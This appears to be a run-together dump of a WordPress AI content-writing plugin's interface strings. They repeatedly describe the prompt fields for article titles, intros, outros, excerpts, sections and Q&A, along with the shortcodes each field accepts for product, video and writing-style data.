Post Tag Generator:Prompt For The AI Related Headings Generator:Prompt For The AI SEO Meta Description Generator:Prompt For The AI Tags Generator:Prompt For The AI Text GeneratorPrompt For The AI Text Generator:Prompt For The AI Title Text GeneratorPrompt For The AI Title Text Generator:Prompt Processing - Bulk Or Random Selection:Prompt Templates:Prompt To Send To The AI Content Image Editor:Prompt To Send To The AI Image Editor:Prompt To Send To The AI Image Generator:Prompt to append to text continuation requestsPrompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %%all_product_titles%%, %%all_product_info%%, %%product_title%%, %%product_description%%, %%language%%, %%product_author%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%offer_url%%, %%offer_price%%, %%product_list_price%%, %%offer_img%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%product_imgs_html%%, %%price_with_discount_fixed%%, %%first_hand_experience_prompt%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %%all_product_titles%%, %%all_product_info%%, %%product_title%%, %%product_description%%, %%product_author%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%offer_url%%, %%offer_price%%, %%product_list_price%%, %%offer_img%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%product_imgs_html%%, %%price_with_discount_fixed%%, %%first_hand_experience_prompt%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %%current_section%%, %%product_title%%, %%product_description%%, %%language%%, %%all_product_titles%%, %%product_author%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%offer_url%%, %%offer_price%%, %%product_list_price%%, %%offer_img%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%product_imgs_html%%, %%price_with_discount_fixed%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%sections%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %current_section%%, %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Customer Reviews Analysis section of the article. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Comparison Table. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Customer Reviews Analysis section. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Excerpt. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Excerpt. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Excerpt. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Excerpt. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Intro. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article intro, leave this prompt blank - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Intro. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article intro, leave this prompt blank - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Intro. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - to disable article intro, leave this prompt blank - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Intro. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article intro, leave this prompt blank - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Pros & Cons section. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Q&A. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Q&A. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Q&A. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Q&A. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Sections. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Sections. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Title. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Title. You can use the following shortcodes: %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Title. You can use the following shortcodes: %%search_keywords%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Title. You can use the following shortcodes: %%search_keywords%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Title. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Title. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Title. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post Title. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post outro. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post outro. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post outro. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Post outro. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Pros & Cons section of the article. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Q&A of the article. You can use the following shortcodes: %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Q&A of the article. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Q&A of the article. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Q&A of the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Sections of the article. These will be set also as headings in the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the Sections of the article. These will be set also as headings in the article. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the excerpt of the article. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the excerpt of the article. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the excerpt of the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the excerpt of the article. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the intro of the article. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the intro of the article. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the intro of the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the intro of the article. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, 